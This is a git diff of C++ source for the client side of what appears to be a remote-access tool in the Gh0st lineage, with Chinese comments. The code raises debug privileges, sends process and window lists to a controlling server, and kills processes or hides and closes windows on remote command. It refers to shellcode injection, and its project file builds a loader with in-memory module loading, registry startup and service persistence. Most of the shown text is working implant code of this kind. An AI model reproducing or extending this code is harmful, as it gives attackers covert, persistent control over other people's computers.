BOOL is64Bit = FALSE;
|
||||
// 重新打开进程检测位数(因为上面已关闭)
|
||||
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
ShellcodeInj::IsProcess64Bit(hProcess, is64Bit);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
const char* arch = is64Bit ? "x64" : "x86";
|
||||
char exeFile[300];
|
||||
sprintf(exeFile, "%s:%s", pe32.szExeFile, arch);
|
||||
|
||||
//开始计算占用的缓冲区, 我们关心他的发送的数据结构
|
||||
// 此进程占用数据大小
|
||||
dwLength = sizeof(DWORD) +
|
||||
lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2;
|
||||
// 缓冲区太小,再重新分配下
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength)) {
|
||||
LPBYTE newBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||||
if (newBuffer == NULL) {
|
||||
// 内存分配失败,返回已有数据
|
||||
SAFE_CLOSE_HANDLE(hSnapshot);
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE);
|
||||
return szBuffer;
|
||||
}
|
||||
szBuffer = newBuffer;
|
||||
}
|
||||
//接下来三个memcpy就是向缓冲区里存放数据 数据结构是
|
||||
//进程ID+进程名+0+进程完整名+0 进程
|
||||
//因为字符数据是以0 结尾的
|
||||
memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||||
dwOffset += sizeof(DWORD);
|
||||
memcpy(szBuffer + dwOffset, exeFile, lstrlen(exeFile) + 1);
|
||||
dwOffset += lstrlen(exeFile) + 1;
|
||||
memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1);
|
||||
dwOffset += lstrlen(szProcessFullPath) + 1;
|
||||
|
||||
} while (Process32Next(hSnapshot, &pe32)); //继续得到下一个快照
|
||||
}
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
|
||||
SAFE_CLOSE_HANDLE(hSnapshot); //释放句柄
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
CSystemManager::~CSystemManager()
|
||||
{
|
||||
Mprintf("系统析构\n");
|
||||
}
|
||||
|
||||
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
|
||||
{
|
||||
BOOL bResult = TRUE;
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES TokenPrivileges;
|
||||
|
||||
//进程 Token 令牌
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
|
||||
bResult = FALSE;
|
||||
return bResult;
|
||||
}
|
||||
TokenPrivileges.PrivilegeCount = 1;
|
||||
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid);
|
||||
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
if (GetLastError() != ERROR_SUCCESS) {
|
||||
bResult = FALSE;
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_PSLIST: {
|
||||
SendProcessList();
|
||||
break;
|
||||
}
|
||||
case COMMAND_KILLPROCESS: {
|
||||
KillProcess((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
case COMMAND_WSLIST: {
|
||||
SendWindowsList();
|
||||
break;
|
||||
}
|
||||
|
||||
case CMD_WINDOW_CLOSE: {
|
||||
HWND hWnd = *((HWND*)(szBuffer+1));
|
||||
|
||||
::PostMessage(hWnd,WM_CLOSE,0,0);
|
||||
|
||||
Sleep(100);
|
||||
SendWindowsList();
|
||||
|
||||
break;
|
||||
}
|
||||
case CMD_WINDOW_TEST: { //操作窗口
|
||||
TestWindow(szBuffer+1);
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemManager::TestWindow(LPBYTE szBuffer) //窗口的最大 最小 隐藏都在这里处理
|
||||
{
|
||||
DWORD Hwnd;
|
||||
DWORD dHow;
|
||||
memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //得到窗口句柄
|
||||
memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //得到窗口处理参数
|
||||
ShowWindow((HWND__ *)Hwnd,dHow);
|
||||
//窗口句柄 干啥(大 小 隐藏 还原)
|
||||
}
|
||||
|
||||
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
|
||||
{
|
||||
HANDLE hProcess = NULL;
|
||||
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提权
|
||||
|
||||
for (int i = 0; i < ulLength; i += 4)
|
||||
//因为结束的可能个不止是一个进程
|
||||
{
|
||||
//打开进程
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
|
||||
//结束进程
|
||||
TerminateProcess(hProcess, 0);
|
||||
SAFE_CLOSE_HANDLE(hProcess);
|
||||
}
|
||||
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
|
||||
// 稍稍Sleep下,防止出错
|
||||
Sleep(100);
|
||||
}
|
||||
|
||||
LPBYTE CSystemManager::GetWindowsList()
|
||||
{
|
||||
LPBYTE szBuffer = NULL; //char* p = NULL &p
|
||||
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //注册函数
|
||||
//如果API函数参数当中有函数指针存在
|
||||
//就是向系统注册一个 回调函数
|
||||
|
||||
// 检查是否有窗口被枚举到,避免空指针访问
|
||||
if (szBuffer == NULL) {
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
}
|
||||
szBuffer[0] = TOKEN_WSLIST;
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要数据 **
|
||||
{
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
||||
char szTitle[1024];
|
||||
memset(szTitle, 0, sizeof(szTitle));
|
||||
//得到系统传递进来的窗口句柄的窗口标题
|
||||
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
||||
//这里判断 窗口是否可见 或标题为空
|
||||
BOOL m_bShowHidden = TRUE;
|
||||
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
||||
return true;
|
||||
}
|
||||
if (lstrlen(szTitle) == 0)
|
||||
return true;
|
||||
|
||||
// ========== 新增:获取窗口属性 ==========
|
||||
// 窗口状态
|
||||
const char* szStatus = "normal";
|
||||
if (IsIconic(hWnd)) {
|
||||
szStatus = "minimized";
|
||||
} else if (IsZoomed(hWnd)) {
|
||||
szStatus = "maximized";
|
||||
} else if (!IsWindowVisible(hWnd)) {
|
||||
szStatus = "hidden";
|
||||
}
|
||||
|
||||
// 所属进程ID
|
||||
DWORD dwPid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &dwPid);
|
||||
|
||||
// 拼接属性到标题末尾
|
||||
// 格式: 标题|状态|PID|保留1|保留2
|
||||
// 解析时从末尾按 | 分割,保留字段方便未来扩展
|
||||
char szTitleWithAttrs[1200];
|
||||
sprintf(szTitleWithAttrs, "%s|%s|%lu|0|0", szTitle, szStatus, dwPid);
|
||||
// ========== 新增结束 ==========
|
||||
|
||||
//同进程管理一样我们注意他的发送到主控端的数据结构
|
||||
if (szBuffer == NULL)
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区
|
||||
if (szBuffer == NULL)
|
||||
return FALSE;
|
||||
//[消息][4Notepad.exe\0]
|
||||
dwLength = sizeof(DWORD) + lstrlen(szTitleWithAttrs) + 1; // 使用新标题
|
||||
dwOffset = LocalSize(szBuffer); //1
|
||||
//重新计算缓冲区大小
|
||||
LPBYTE newBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE);
|
||||
if (newBuffer == NULL) {
|
||||
// 内存分配失败,保留已有数据,跳过此窗口继续枚举
|
||||
return TRUE;
|
||||
}
|
||||
szBuffer = newBuffer;
|
||||
//下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0
|
||||
memcpy((szBuffer + dwOffset), &hWnd, sizeof(DWORD));
|
||||
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitleWithAttrs, lstrlen(szTitleWithAttrs) + 1); // 使用新标题
|
||||
*(LPBYTE*)lParam = szBuffer;
|
||||
return TRUE;
|
||||
}
|
||||
31
client/SystemManager.h
Normal file
31
client/SystemManager.h
Normal file
@@ -0,0 +1,31 @@
|
||||
// SystemManager.h: interface for the CSystemManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
#define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class CSystemManager : public CManager
|
||||
{
|
||||
public:
|
||||
CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr);
|
||||
virtual ~CSystemManager();
|
||||
LPBYTE GetProcessList();
|
||||
VOID SendProcessList();
|
||||
BOOL DebugPrivilege(const char *szName, BOOL bEnable);
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID KillProcess(LPBYTE szBuffer, UINT ulLength);
|
||||
LPBYTE GetWindowsList();
|
||||
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam);
|
||||
void SendWindowsList();
|
||||
void TestWindow(LPBYTE szBuffer);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||
155
client/TalkManager.cpp
Normal file
155
client/TalkManager.cpp
Normal file
@@ -0,0 +1,155 @@
|
||||
// TalkManager.cpp: implementation of the CTalkManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "TalkManager.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <IOSTREAM>
|
||||
#include <mmsystem.h>
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
|
||||
#define WIN_WIDTH 360
|
||||
#define WIN_HEIGHT 200
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_hInstance = HINSTANCE(user);
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk 构造\n");
|
||||
}
|
||||
|
||||
CTalkManager::~CTalkManager()
|
||||
{
|
||||
Mprintf("Talk 析构\n");
|
||||
}
|
||||
|
||||
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
|
||||
default: {
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
//创建一个DLG
|
||||
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
static CTalkManager* This = nullptr;
|
||||
switch(uMsg) {
|
||||
case WM_TIMER: {
|
||||
if (This) This->OnDlgTimer(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_INITDIALOG: {
|
||||
// 获取当前窗口样式
|
||||
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
||||
// 移除 WS_EX_APPWINDOW 样式,添加 WS_EX_TOOLWINDOW 样式
|
||||
exStyle &= ~WS_EX_APPWINDOW;
|
||||
exStyle |= WS_EX_TOOLWINDOW;
|
||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||
This = (CTalkManager*)lParam;
|
||||
if(This) This->OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
{
|
||||
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||
|
||||
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
|
||||
|
||||
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
||||
|
||||
::SetFocus(GetDesktopWindow());
|
||||
|
||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||
|
||||
g_Event = ID_TIMER_POP_WINDOW;
|
||||
SetTimer(hDlg, g_Event, 1, NULL);
|
||||
|
||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
}
|
||||
|
||||
|
||||
VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
||||
{
|
||||
RECT Rect;
|
||||
static int Height=0;
|
||||
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
|
||||
int y=Rect.bottom-Rect.top;;
|
||||
int x=Rect.right-Rect.left;
|
||||
x=x-WIN_WIDTH;
|
||||
|
||||
switch(g_Event) {
|
||||
case ID_TIMER_CLOSE_WINDOW: {
|
||||
if(Height>=0) {
|
||||
Height-=5;
|
||||
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
|
||||
} else {
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ID_TIMER_DELAY_DISPLAY: {
|
||||
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
|
||||
g_Event = ID_TIMER_CLOSE_WINDOW;
|
||||
SetTimer(hDlg,g_Event, 5, NULL);
|
||||
break;
|
||||
}
|
||||
case ID_TIMER_POP_WINDOW: {
|
||||
if(Height<=WIN_HEIGHT) {
|
||||
Height+=3;
|
||||
MoveWindow(hDlg,x, y-Height, WIN_WIDTH, Height,TRUE);
|
||||
} else {
|
||||
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
|
||||
g_Event = ID_TIMER_DELAY_DISPLAY;
|
||||
SetTimer(hDlg,g_Event, 4000, NULL);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
32
client/TalkManager.h
Normal file
32
client/TalkManager.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// TalkManager.h: interface for the CTalkManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
#define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam);
|
||||
|
||||
VOID OnInitDialog(HWND hDlg);
|
||||
VOID OnDlgTimer(HWND hDlg);
|
||||
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
BIN
client/TestRun.rc
Normal file
BIN
client/TestRun.rc
Normal file
Binary file not shown.
188
client/TestRun_vs2015.vcxproj
Normal file
188
client/TestRun_vs2015.vcxproj
Normal file
@@ -0,0 +1,188 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||
<RootNamespace>TestRun</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>TestRun</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
